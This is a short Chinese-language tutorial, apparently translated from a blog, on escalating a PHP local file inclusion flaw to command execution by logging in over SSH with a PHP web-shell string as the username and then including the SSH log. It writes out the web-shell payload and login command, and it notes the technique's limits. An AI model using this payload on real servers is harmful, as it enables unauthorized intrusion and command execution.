文章的总体思路就是：
使用
ssh '<pre><?echo system($_GET['cmd']); exit;?>'@10.10.11.33
登入，然后会在ssh的登入日志里记录，再让存在包含漏洞php去包含错误日志文件来达到目的。
 
包含正常的日志文件
 
 
使用特定的一句话木马作为帐号登入，产生含有一句话的日志文件
 
 
再次包含日志文件 www.2cto.com
 
 
成功执行
 


不过这个方法可能不是很通用，
首先，日志文件路径是不特定的，根据管理员习惯
其次，如果日志文件很大的情况下，估计包含就不会成功了
 
 
摘自: http://lanmaster53.com/2011/05/local-file-inclusion-to-remote-command-execution-using-ssh/
译者：http://www.ayhacker.net/ayblog/read.php?173